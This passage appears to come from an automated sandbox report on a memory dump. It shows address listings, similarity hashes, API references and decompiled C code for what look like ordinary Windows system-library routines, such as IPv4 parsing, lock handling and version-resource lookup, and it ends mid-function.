0x6ce6dc4a
0x00000000
0x6ce6dc4c
0x00000000
0x6ce6dc4c
0x6ce6dc4a
0x00000000
0x6ce6dc93
0x6ce6dc96
0x6ce6dc9c
0x6ce6dc9f
0x6ce6dca2
0x6ce6dca5
0x6ce6dcae
0x6ce6db26
0x6ce6db2b
0x6ce6db30
0x6ce6db35
0x6ce6db38
0x6ce6db3a
0x6ce6db44
0x6ce6db47
0x6ce6db4a
0x6ce6db4a
0x6ce6db4f
0x6ce6db52
0x6ce6db55
0x6ce6db58
0x6ce6db58
0x6ce6db5e
0x6ce6db67
0x6ce6db6a
0x6ce6db6e
0x6ce6db73
0x6ce6db76
0x6ce6db7b
0x6ce6db83
0x6ce6dbb0
0x6ce6dbb2
0x6ce6dbb5
0x6ce6dbbf
0x6ce6dbc3
0x00000000
0x00000000
0x00000000
0x6ce6dbc3
0x6ce6dbc5
0x6ce6dbc5
0x6ce6dbcb
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6db85
0x6ce6db88
0x6ce6db8a
0x6ce6db8d
0x6ce6db97
0x6ce6db9b
0x00000000
0x00000000
0x00000000
0x6ce6db9b
0x6ce6db9d
0x6ce6db9d
0x6ce6dba3
0x00000000
0x6ce6dba5
0x6ce6dba5
0x6ce6dba5
0x00000000
0x6ce6dba5
0x6ce6dba3
0x00000000
0x6ce6dbcd
0x6ce6dbd0
0x6ce6dbd6
0x6ce6dbd9
0x6ce6dbde
0x6ce6db5e
0x00000000
0x6ce237c0
0x6ce237c4
0x6ce6dcde
0x6ce6dce4
0x6ce6dce7
0x6ce6dcea
0x6ce6dcea
0x6ce6dced
0x6ce6dcf6
0x6ce6dd3e
0x6ce6dd49
0x6ce6dd4b
0x6ce6dd4e
0x6ce6dd51
0x6ce6dd54
0x6ce6dd57
0x6ce6dd60
0x6ce6dd64
0x00000000
0x00000000
0x00000000
0x6ce6dd64
0x6ce6dd66
0x6ce6dd69
0x6ce6dd6c
0x6ce6dd6f
0x6ce6dd72
0x6ce6dd75
0x6ce6dd75
0x6ce6dd7c
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6dcf8
0x6ce6dcf8
0x6ce6dd03
0x6ce6dd05
0x6ce6dd08
0x6ce6dd0b
0x6ce6dd0e
0x6ce6dd11
0x6ce6dd1a
0x6ce6dd1e
0x00000000
0x00000000
0x00000000
0x6ce6dd1e
0x6ce6dd20
0x6ce6dd23
0x6ce6dd26
0x6ce6dd29
0x6ce6dd2c
0x6ce6dd2f
0x6ce6dd2f
0x6ce6dd36
0x00000000
0x6ce6dd3c
0x00000000
0x6ce6dd3c
0x6ce6dd36
0x00000000
0x6ce6dd82
0x6ce6dd82
0x6ce6dd85
0x6ce6dd8b
0x6ce6dd8e
0x6ce6dd91
0x6ce6dd9a
0x00000000
0x6ce237ca
0x6ce237cd
0x6ce237d3
0x6ce6dcb6
0x00000000
0x6ce6dcbc
0x6ce6dcbc
0x6ce6dcbf
0x6ce6dcc8
0x6ce6dcce
0x6ce6dcd4
0x00000000
0x6ce6dcd6
0x00000000
0x6ce6dcd6
0x00000000
0x6ce6dcd4
0x00000000
0x6ce6dcbf
0x6ce237d9
0x6ce237dc
0x6ce237f6
0x6ce237f6
0x6ce2380b
0x6ce237e0
0x6ce237e0
0x6ce237e5
0x6ce237e8
0x6ce237ee
0x6ce237f4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce237f4
0x6ce2380e
0x6ce23811
0x00000000
0x6ce23813
0x6ce23813
0x6ce2381c
0x6ce6dda4
0x6ce23822
0x6ce23822
0x6ce23822
0x6ce23825
0x6ce23828
0x6ce2382a
0x6ce2382a
0x6ce2382b
0x6ce2383a
0x6ce2383a
0x6ce23811
0x6ce237dc
0x6ce237d3
0x6ce237c4
0x6ce237ba
0x6ce23766
0x6ce2371c
0x00000000

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ada7c6b8ed980ede30ba59e69c92cb80edf2294acfc57ea905b5309c4adf778
Instruction ID: ebd5484c10aea7c8b415fd0c8e4c52faacf598751987b4a7c9d4584b6d88b276
Opcode Fuzzy Hash: 2ada7c6b8ed980ede30ba59e69c92cb80edf2294acfc57ea905b5309c4adf778
Instruction Fuzzy Hash: 47D1A279D543198BDF10DFAAC0402EEB7B6FF44718FB5411AD891ABB88D3349A82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6CE01190, Relevance: 7.7, APIs: 5, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6CE01190(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, short* _a16) {
				signed int _v8;
				long _v12;
				void* _t21;
				signed int _t24;
				long _t27;
				long _t28;
				signed int _t30;
				signed int _t37;
				int _t41;
				signed int _t51;
				signed int _t54;
				long _t59;
				void* _t60;
				signed short* _t74;
				signed int _t75;
				signed short* _t78;
				signed short* _t79;
				signed int _t82;
				long _t83;

				if(_a4 == 0 || _a12 == 0 || _a16 == 0 || E6CE011E0(_a4, _a8,  &_v8, _a12) < 0) {
					L4:
					_t21 = 0xc000000d;
					goto L5;
				} else {
					_t78 = _v8;
					_t24 =  *_t78 & 0x0000ffff;
					if(_t24 != 0x3a) {
						if(_t24 != 0) {
							goto L4;
						}
						_t54 = 0;
						L29:
						 *_a16 = _t54;
						_t21 = 0;
						L5:
						return _t21;
					}
					_t79 =  &(_t78[1]);
					_t54 = 0;
					_t75 = 0xa;
					_v8 = _t75;
					_t82 = 0x10;
					if( *_t79 == 0x30) {
						_t74 =  &(_t79[1]);
						_t79 = _t74;
						_t75 = 8;
						_v8 = _t75;
						_t51 =  *_t79 & 0x0000ffff;
						if(_t51 == 0x78 || _t51 == 0x58) {
							_t75 = _t82;
							_t79 =  &(_t74[1]);
							_v8 = _t75;
						}
					}
					_t27 =  *_t79 & 0x0000ffff;
					_t83 = _t27;
					_t59 = _t27;
					_v12 = _t59;
					if(_t83 == 0) {
						L25:
						if(_t59 != 0) {
							goto L29;
						}
						goto L4;
					} else {
						do {
							_t28 = 0x80;
							_t79 =  &(_t79[1]);
							if(_t83 >= 0x80) {
								L18:
								_t60 = 0x10;
								if(_t75 != _t60 || _t83 >= _t28 || iswctype(_t83, _t28) == 0) {
									goto L4;
								} else {
									_t30 = iswctype(_t83, 2);
									asm("sbb eax, eax");
									if((_t83 & 0x0000ffff) + 0xa + ((_t54 & 0x0000ffff) << 4) - ( ~_t30 & 0x00000020) + 0x41 > 0xffff) {
										goto L4;
									}
									_t37 = iswctype(_t83, 2);
									_t75 = _v8;
									asm("sbb eax, eax");
									_t54 = (_t54 << 4) + 0xa + _t83 - ( ~_t37 & 0x00000020) + 0x41;
									goto L23;
								}
							}
							_t41 = iswctype(_t83, 4);
							_t75 = _v8;
							if(_t41 == 0) {
								L17:
								_t28 = 0x80;
								goto L18;
							}
							_t17 = _t83 - 0x30; // -48
							if(_t17 >= _t75) {
								goto L17;
							}
							if((_t83 & 0x0000ffff) + 0xffffffd0 + (_t75 & 0x0000ffff) * (_t54 & 0x0000ffff) > 0xffff) {
								goto L4;
							}
							_t54 = _t75 * _t54 + 0xffffffd0 + _t83 & 0x0000ffff;
							L23:
							_t83 =  *_t79 & 0x0000ffff;
						} while (_t83 != 0);
						_t59 = _v12;
						goto L25;
					}
				}
			}

0x6ce0119e
0x6ce011c6
0x6ce011c6
0x00000000
0x6ce5eb05
0x6ce5eb05
0x6ce5eb08
0x6ce5eb0e
0x6ce5ec43
0x00000000
0x00000000
0x6ce5ec49
0x6ce5ec4b
0x6ce5ec52
0x6ce5ec55
0x6ce011cb
0x6ce011d1
0x6ce011d1
0x6ce5eb16
0x6ce5eb19
0x6ce5eb1b
0x6ce5eb1e
0x6ce5eb25
0x6ce5eb26
0x6ce5eb28
0x6ce5eb2b
0x6ce5eb2f
0x6ce5eb30
0x6ce5eb33
0x6ce5eb39
0x6ce5eb40
0x6ce5eb42
0x6ce5eb45
0x6ce5eb45
0x6ce5eb39
0x6ce5eb48
0x6ce5eb4b
0x6ce5eb4d
0x6ce5eb4f
0x6ce5eb55
0x6ce5ec36
0x6ce5ec39
0x00000000
0x00000000
0x00000000
0x6ce5eb5b
0x6ce5eb5b
0x6ce5eb5b
0x6ce5eb60
0x6ce5eb66
0x6ce5ebb1
0x6ce5ebb3
0x6ce5ebb7
0x00000000
0x6ce5ebd7
0x6ce5ebda
0x6ce5ebe2
0x6ce5ec00
0x00000000
0x00000000
0x6ce5ec0c
0x6ce5ec11
0x6ce5ec17
0x6ce5ec25
0x00000000
0x6ce5ec25
0x6ce5ebb7
0x6ce5eb6b
0x6ce5eb70
0x6ce5eb77
0x6ce5ebac
0x6ce5ebac
0x00000000
0x6ce5ebac
0x6ce5eb79
0x6ce5eb7f
0x00000000
0x00000000
0x6ce5eb97
0x00000000
0x00000000
0x6ce5eba7
0x6ce5ec27
0x6ce5ec27
0x6ce5ec2a
0x6ce5ec33
0x00000000
0x6ce5ec33
0x6ce5eb55

APIs

RtlIpv4StringToAddressW.1105(00000000,?,?,00000000), ref: 6CE011B9

Part of subcall function 6CE011E0: iswctype.1105(0000000A,00000004), ref: 6CE01244

iswctype.1105(00000000,00000004,00000000,?,?,00000000), ref: 6CE5EB6B

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$AddressIpv4String
String ID:
API String ID: 1627499474-0
Opcode ID: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction ID: 014ce991d0ac2e971946d35c565a0fc4fbedb197f794c79e4916bf54068a3ad5
Opcode Fuzzy Hash: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction Fuzzy Hash: E0414837A006259AE728CA95DC417B973F4EB0176DF74462AE441DBBC0E73CDA61D2D0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3F296, Relevance: 7.6, APIs: 5, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE3F296(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				void _v132;
				char _v133;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t36;
				intOrPtr _t51;
				void* _t59;
				intOrPtr _t60;
				intOrPtr _t67;
				signed char* _t68;
				signed int _t69;

				_v8 =  *0x6cefd360 ^ _t69;
				_t51 = __ecx;
				_v133 = 0;
				_t3 = _t51 + 0xc; // 0xc
				_t67 = E6CE3F2E0(_t3, __edx);
				_v148 = _t67;
				if(_t67 != 0) {
					_t6 = _t67 + 0x1c; // 0x1c
					_t66 = _t6;
					E6CE2FAD0(_t6);
					 *((intOrPtr*)(_t51 + 0xc8)) = _t67;
					E6CED3D12(_t51);
					_t64 = 4;
					_t8 = _t51 + 0x66; // 0x66
					_t68 = _t8;
					_v140 = _t64;
					_v144 = 2;
					do {
						if( *((char*)(_t68 - 2)) == 0) {
							_t36 = _v133;
						} else {
							_t55 =  *(_t51 + 0x36) & 0x0000ffff;
							if((_t55 & 0x00003fff) == _v144 || _t55 < 0) {
								_t55 =  *_t68 & 0x000000ff;
								E6CE48F7B( *_t68 & 0x000000ff, _t51);
								_t64 = _v140;
							}
							_t36 = 1;
							_v133 = 1;
						}
						_t68 =  &(_t68[0x18]);
						_t64 = _t64 - 1;
						_v140 = _t64;
					} while (_t64 != 0);
					if(_t36 == 0) {
						_t33 = E6CE2FA00(_t51, _t55, _t66, _t66);
					} else {
						_t59 = 2;
						if(( *(_t51 + 0x36) & 0x00003fff) == _t59) {
							memset( &_v132, 0, 0x78);
							_t60 = _v148;
							_t66 =  &_v92;
							_t68 = _t60 + 0xc;
							_v28 =  *((intOrPtr*)(_t60 + 0x88));
							_v24 =  *((intOrPtr*)(_t60 + 0x8c));
							_v20 =  *((intOrPtr*)(_t60 + 0x90));
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							E6CE2FA00(_t51, _t60,  &_v92, _t60 + 0x1c);
							_t64 = _t51;
							_t33 = E6CE3645B( &_v132, _t51, 1);
						} else {
							E6CE2FA00(_t51, _t59, _t66, _t66);
							_t33 = E6CED3D4E(_t51);
						}
					}
				}
				return E6CE4B640(_t33, _t51, _v8 ^ _t69, _t64, _t66, _t68);
			}

0x6ce3f2a8
0x6ce3f2ac
0x6ce3f2ae
0x6ce3f2b7
0x6ce3f2bf
0x6ce3f2c1
0x6ce3f2c9
0x6ce7bb57
0x6ce7bb57
0x6ce7bb5b
0x6ce7bb62
0x6ce7bb68
0x6ce7bb6f
0x6ce7bb70
0x6ce7bb70
0x6ce7bb73
0x6ce7bb79
0x6ce7bb83
0x6ce7bb87
0x6ce7bbbc
0x6ce7bb89
0x6ce7bb89
0x6ce7bb9b
0x6ce7bba2
0x6ce7bba7
0x6ce7bbac
0x6ce7bbac
0x6ce7bbb2
0x6ce7bbb4
0x6ce7bbb4
0x6ce7bbc2
0x6ce7bbc5
0x6ce7bbc8
0x6ce7bbc8
0x6ce7bbd2
0x6ce7bc50
0x6ce7bbd4
0x6ce7bbe2
0x6ce7bbe6
0x6ce7bc02
0x6ce7bc07
0x6ce7bc0d
0x6ce7bc19
0x6ce7bc1c
0x6ce7bc25
0x6ce7bc2e
0x6ce7bc34
0x6ce7bc36
0x6ce7bc37
0x6ce7bc38
0x6ce7bc39
0x6ce7bc40
0x6ce7bc45
0x6ce7bbe8
0x6ce7bbe9
0x6ce7bbf0
0x6ce7bbf0
0x6ce7bbe6
0x6ce7bbd2
0x6ce3f2df

APIs

Part of subcall function 6CE3F2E0: RtlAcquireSRWLockExclusive.1105(6CEF86AC,00000000,00000000,00000000,0000000C,?,6CE3F2BF,00000000,00000000,?), ref: 6CE3F2F1
Part of subcall function 6CE3F2E0: RtlReleaseSRWLockExclusive.1105(6CEF86AC,?,?,6CEF86AC,00000000,00000000,00000000,0000000C,?,6CE3F2BF,00000000,00000000,?), ref: 6CE3F31B

RtlAcquireSRWLockShared.1105(0000001C,00000000,00000000,?), ref: 6CE7BB5B
RtlReleaseSRWLockShared.1105(0000001C,0000001C,00000000,00000000,?), ref: 6CE7BBE9

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$AcquireExclusiveReleaseShared
String ID:
API String ID: 3474408661-0
Opcode ID: 1792333ec00e64964707a6a28b61abe8b1f06904370a096dd40d05ce4f8e4549
Instruction ID: fa30afed6337899be263b97a82555f5a070717634da5f01530f17c17ae0bde12
Opcode Fuzzy Hash: 1792333ec00e64964707a6a28b61abe8b1f06904370a096dd40d05ce4f8e4549
Instruction Fuzzy Hash: C831C975D002148ACB20DF28C881BE97774BF41708F3480ADDC49AF746DB756A4BCBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2C4A0, Relevance: 7.6, APIs: 5, Instructions: 91
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6CE2C4A0(intOrPtr* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v9;
				intOrPtr _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int _t34;
				signed int _t41;
				signed char _t46;
				intOrPtr* _t51;
				signed int _t52;

				_v8 =  *0x6cefd360 ^ _t52;
				_t41 = _a8;
				_t51 = _a4;
				_t49 = 0;
				if(E6CE2C577(_t51, 0 | _t41 != 0x00000000) == 0) {
					_t29 = 0;
				} else {
					_t50 = _t51 + 0x90;
					_t41 = _t41 & 0xffffff00 | _t41 != 0x00000000;
					_v16 =  *((intOrPtr*)(_t51 + 0x5c)) + 0x40;
					E6CE22280( *((intOrPtr*)(_t51 + 0x5c)) + 0x40, _t51 + 0x90);
					_t49 = _v16;
					_t34 = E6CE2C182(_t51, _v16, _t41);
					_t46 = _t34;
					_v9 = _t46;
					if(_a8 != 0 &&  *((char*)(_t51 + 0xdf)) != 0) {
						_t34 = E6CE1FFB0(_t41, _t50, _t50);
						_t46 = _v9;
						_t41 = 0;
					}
					if(_t46 == 0) {
						if(_t41 == 0) {
							goto L8;
						} else {
							_t34 = E6CE2E180(_t51);
							if(_t34 != 0) {
								goto L6;
							} else {
								asm("lock inc dword [esi]");
								_t46 = _v9;
								goto L4;
							}
						}
						goto L19;
					} else {
						L4:
						if(_t41 == 0) {
							if(_t46 == 0) {
								goto L8;
							} else {
								asm("lock xadd [esi], eax");
								if((_t34 | 0xffffffff) != 0) {
									goto L8;
								} else {
									_t51 =  *((intOrPtr*)( *((intOrPtr*)(_t51 + 4))));
									 *0x6cefb1e0(_t51);
									 *_t51();
									goto L7;
								}
							}
							L19:
						} else {
							_t49 = _v16;
							E6CE2DBE9(_t51, _v16, _a8, _a12, _a16);
							L6:
							E6CE1FFB0(_t41, _t50, _t50);
							L7:
							_t46 = _v9;
						}
					}
					L8:
					_t29 = _t46 & 0x000000ff;
				}
				return E6CE4B640(_t29, _t41, _v8 ^ _t52, _t49, _t50, _t51);
				goto L19;
			}

0x6ce2c4af
0x6ce2c4b3
0x6ce2c4b9
0x6ce2c4c5
0x6ce2c4ce
0x6ce2c561
0x6ce2c4d4
0x6ce2c4d7
0x6ce2c4e0
0x6ce2c4e6
0x6ce2c4e9
0x6ce2c4ee
0x6ce2c4f4
0x6ce2c4fd
0x6ce2c4ff
0x6ce2c502
0x6ce72e52
0x6ce72e57
0x6ce72e5a
0x6ce72e5a
0x6ce2c513
0x6ce2c54d
0x00000000
0x6ce2c54f
0x6ce2c550
0x6ce2c557
0x00000000
0x6ce2c559
0x6ce2c559
0x6ce2c55c
0x00000000
0x6ce2c55c
0x6ce2c557
0x00000000
0x6ce2c515
0x6ce2c515
0x6ce2c517
0x6ce2c567
0x00000000
0x6ce2c569
0x6ce2c56c
0x6ce2c570
0x00000000
0x6ce2c572
0x6ce72e65
0x6ce72e69
0x6ce72e6f
0x00000000
0x6ce72e6f
0x6ce2c570
0x00000000
0x6ce2c519
0x6ce2c51c
0x6ce2c527
0x6ce2c52c
0x6ce2c52d
0x6ce2c532
0x6ce2c532
0x6ce2c532
0x6ce2c517
0x6ce2c535
0x6ce2c535
0x6ce2c535
0x6ce2c548
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,?,?,?,6CECC9F8,000000FE), ref: 6CE2C4E9
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?), ref: 6CE2C52D
TpIsTimerSet.1105(?,?,?,00000000,?,00000000,?), ref: 6CE2C550
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?), ref: 6CE72E52
RtlDebugPrintTimes.1105(?,?,?,?,00000000,?,00000000,?), ref: 6CE72E69

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimerTimes
String ID:
API String ID: 1747049749-0
Opcode ID: a728d457cc0c7267e8b0c8f071f67d32efa5513c6bd538d7b17603a8e38b7a85
Instruction ID: 36424b1f055ebf154cee429704bdd4f523b4969c5ac91a0b0beb6f0a094f0fae
Opcode Fuzzy Hash: a728d457cc0c7267e8b0c8f071f67d32efa5513c6bd538d7b17603a8e38b7a85
Instruction Fuzzy Hash: 36210131B81208ABEB00AF74C810BEF7BB5AF4635CF348468EC515B700DB79D9098B90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE10541, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6CE10541(char __ecx, intOrPtr* __edx) {
				char _v8;
				char _v12;
				long _v16;
				short _v18;
				void* _v20;
				void* _v28;
				long _t51;
				void* _t55;
				short _t59;
				intOrPtr _t63;
				intOrPtr* _t64;
				intOrPtr _t66;
				signed int _t84;
				intOrPtr* _t92;
				signed int _t94;
				long _t101;
				char _t102;
				signed int _t105;
				signed int _t108;

				_t64 = __edx;
				_t102 = __ecx;
				_v12 = __ecx;
				_v20 = __ecx;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t51 = E6CE1E9C0(3, __ecx, 0, 0,  &_v8);
				if(_t51 >= 0) {
					_t66 = _v8;
					 *_t64 =  *((intOrPtr*)(_t66 + 8));
					 *((intOrPtr*)(_t64 + 4)) =  *((intOrPtr*)(_t66 + 0x58));
					_t51 =  *(_t66 + 0x50);
					_v16 = _t51;
					if( *((intOrPtr*)(_t66 + 0x74)) > 2) {
						_t51 =  *(_t66 + 0x88);
						if(_t51 != 0 &&  *((intOrPtr*)(_t66 + 0x8c)) >= 0x10) {
							_t84 = _t51 + _t102;
							_t51 = E6CE10733( &_v20, _t84, 0x10);
							asm("sbb esi, esi");
							_t105 =  ~_t51 & _t84;
							if(_t105 != 0) {
								_t51 = E6CE1050C(_t105,  *(_t105 + 0xc) & 0x0000ffff);
								if(_t51 != 0) {
									_t51 = E6CE10769( &_v20, _t51,  *(_t105 + 0xe) & 0x0000ffff, 0x10);
									if(_t51 != 0) {
										_t100 = ( *(_t51 + 4) & 0x7fffffff) + _t105;
										_t87 = ( *(_t51 + 4) & 0x7fffffff) + _t105;
										_t51 = E6CE10733( &_v20, _t100, 0x10);
										if(_t51 != 0) {
											_t51 = E6CE1050C(_t87,  *(_t100 + 0xc) & 0x0000ffff);
											if(_t51 != 0) {
												_t51 = E6CE10769( &_v20, _t51,  *(_t100 + 0xe) & 0x0000ffff, 1);
												if(_t51 != 0) {
													_t91 = ( *(_t51 + 4) & 0x7fffffff) + _t105;
													_t51 = E6CE10733( &_v20, ( *(_t51 + 4) & 0x7fffffff) + _t105, 0x10);
													if(_t51 != 0) {
														_t51 = E6CE1050C(_t91, 0);
														if(_t51 != 0) {
															_t51 =  *(_t51 + 4);
															if(_t51 >= 0) {
																_t92 = _t51 + _t105;
																_t51 = E6CE10733( &_v20, _t92, 0x10);
																if(_t51 != 0 &&  *((intOrPtr*)(_t92 + 4)) >= 0x5c) {
																	_t94 =  *_t92 + _v12;
																	_t51 = E6CE10733( &_v20, _t94, 0x5c);
																	asm("sbb esi, esi");
																	_t108 =  ~_t51 & _t94;
																	if(_t108 != 0) {
																		_t51 = E6CE10733( &_v20, _t108, 0x5c);
																		if(_t51 != 0) {
																			_t55 = 0x20;
																			_t35 = _t108 + 6; // 0x6
																			_t101 = _t35;
																			_t51 = E6CE10733( &_v20, _t101, _t55);
																			if(_t51 != 0) {
																				RtlInitUnicodeString( &_v28, L"VS_VERSION_INFO");
																				_v16 = _t101;
																				_t51 = E6CE107AF(_t101,  &_v12);
																				if(_t51 >= 0) {
																					_v20 = _v12;
																					_t59 = 0x20;
																					_v18 = _t59;
																					_t51 = RtlCompareUnicodeString( &_v28,  &_v20, 0);
																					if(_t51 == 0) {
																						 *((intOrPtr*)(_t64 + 8)) =  *((intOrPtr*)(_t108 + 0x30));
																						_t63 =  *((intOrPtr*)(_t108 + 0x34));
																						 *((intOrPtr*)(_t64 + 0xc)) = _t63;
																						return _t63;
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return _t51;
			}

0x6ce1054c
0x6ce10552
0x6ce10554
0x6ce10557
0x6ce1055a
0x6ce1055b
0x6ce1055c
0x6ce1055d
0x6ce10569
0x6ce10570
0x6ce10576
0x6ce1057c
0x6ce10581
0x6ce10588
0x6ce1058b
0x6ce1058e
0x6ce10594
0x6ce1059c
0x6ce105af
0x6ce105b7
0x6ce105c0
0x6ce105c2
0x6ce105c4
0x6ce105d4
0x6ce105db
0x6ce105ed
0x6ce105f4
0x6ce10606
0x6ce1060a
0x6ce1060c
0x6ce10613
0x6ce10621
0x6ce10628
0x6ce1063a
0x6ce10641
0x6ce10653
0x6ce10657
0x6ce1065e
0x6ce10669
0x6ce10670
0x6ce10676
0x6ce1067b
0x6ce10681
0x6ce10689
0x6ce10690
0x6ce106a5
0x6ce106aa
0x6ce106b3
0x6ce106b5
0x6ce106b7
0x6ce106c0
0x6ce106c7
0x6ce106cb
0x6ce106cc
0x6ce106cc
0x6ce106d5
0x6ce106dc
0x6ce106e7
0x6ce106ef
0x6ce106f5
0x6ce106fc
0x6ce10704
0x6ce10708
0x6ce10709
0x6ce10717
0x6ce1071e
0x6ce10723
0x6ce10726
0x6ce10729
0x00000000
0x6ce10729
0x6ce1071e
0x6ce106fc
0x6ce106dc
0x6ce106c7
0x6ce106b7
0x6ce10690
0x6ce1067b
0x6ce10670
0x6ce1065e
0x6ce10641
0x6ce10628
0x6ce10613
0x6ce105f4
0x6ce105db
0x6ce105c4
0x6ce1059c
0x6ce1058e
0x6ce10732

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,000000AB,?,?,?,?,6CE104FB,6CEDF890,0000001C,6CE103A8,?,00000000), ref: 6CE10569
RtlInitUnicodeString.1105(?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010,?,00000010,?,00000010), ref: 6CE106E7
RtlCompareUnicodeString.1105(?,6CEDF890,00000000,6CE103A8,?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010), ref: 6CE10717

Part of subcall function 6CE19660: RtlCompareUnicodeStrings.1105(?,?,00000001,?,?,?,6CE63065,?,?,00000001,?,?,00000000,?,00000002,?), ref: 6CE19680

Strings

VS_VERSION_INFO, xrefs: 6CE106DE

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$CompareString$HeaderImageInitStrings
String ID: VS_VERSION_INFO
API String ID: 1271209012-1537192461
Opcode ID: 4e305067bc4b38a4039390dce5d1c1c24d1ac9cdbfd888c3cd92a41bcb55b574
Instruction ID: b3a38ff41e8cdc07a1fe5309e9eb34839e2afb6a8701c1a67766657e25a75963
Opcode Fuzzy Hash: 4e305067bc4b38a4039390dce5d1c1c24d1ac9cdbfd888c3cd92a41bcb55b574
Instruction Fuzzy Hash: 2251A731A043599AEB10EBA1CC40BEABBB8AF54748F3485699954DBFC0EBB0D535CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6CE01390, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6CE01390(void* __ebx, void* __edi, int __esi, void* __eflags) {
				signed int* _t46;
				signed int* _t47;
				void* _t51;
				int _t53;
				void* _t54;
				signed short* _t60;
				int _t63;
				void* _t65;
				void* _t71;
				signed int* _t74;
				signed int* _t75;
				int* _t76;
				int _t78;
				int _t81;
				void* _t83;
				void* _t84;

				_t82 = __esi;
				_push(0x44);
				_push(0x6cedf288);
				E6CE5D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x50)) =  *((intOrPtr*)(_t83 + 8));
				_t78 =  *(_t83 + 0xc) & 0x0000ffff;
				 *(_t83 - 0x48) =  *(_t83 + 0x10);
				 *(_t83 - 0x4c) =  *(_t83 + 0x14);
				_t65 =  *(_t83 + 0x18);
				 *(_t83 - 0x44) =  *(_t83 + 0x1c);
				if(E6CE01783( *((intOrPtr*)(_t83 + 8))) == 0) {
					L13:
					return E6CE5D130(_t65, _t78, _t82);
				}
				 *(_t83 - 4) =  *(_t83 - 4) & 0x00000000;
				if(_t78 < 0xc000) {
					if(_t78 != 0) {
						_t82 = 0;
						 *((intOrPtr*)(_t83 - 0x40)) = 0;
						_t46 =  *(_t83 - 0x48);
						if(_t46 != 0) {
							 *_t46 = 1;
						}
						_t47 =  *(_t83 - 0x4c);
						if(_t47 != 0) {
							 *_t47 = 1;
						}
						if(_t65 == 0) {
